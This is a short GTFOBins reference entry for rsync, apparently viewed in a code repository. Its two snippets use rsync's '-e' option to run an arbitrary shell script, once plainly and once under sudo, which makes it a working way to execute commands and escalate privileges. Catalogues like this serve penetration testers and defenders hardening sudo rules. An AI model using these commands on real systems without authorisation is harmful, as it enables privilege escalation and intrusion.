GTFOBins.github.io/_gtfobins/rsync.md
2018-08-17 17:16:09 +02:00

10 lines
341 B
Markdown

---
functions:
execute-non-interactive:
- code: echo "whoami > /tmp/whoami" > /tmp/tmpfile
rsync -e 'sh /tmp/tmpfile' /dev/null 127.0.0.1:/dev/null 2>/dev/null
sudo-enabled:
- code: echo "whoami > /tmp/whoami" > /tmp/tmpfile
sudo rsync -e 'sh /tmp/tmpfile' /dev/null 127.0.0.1:/dev/null 2>/dev/null
---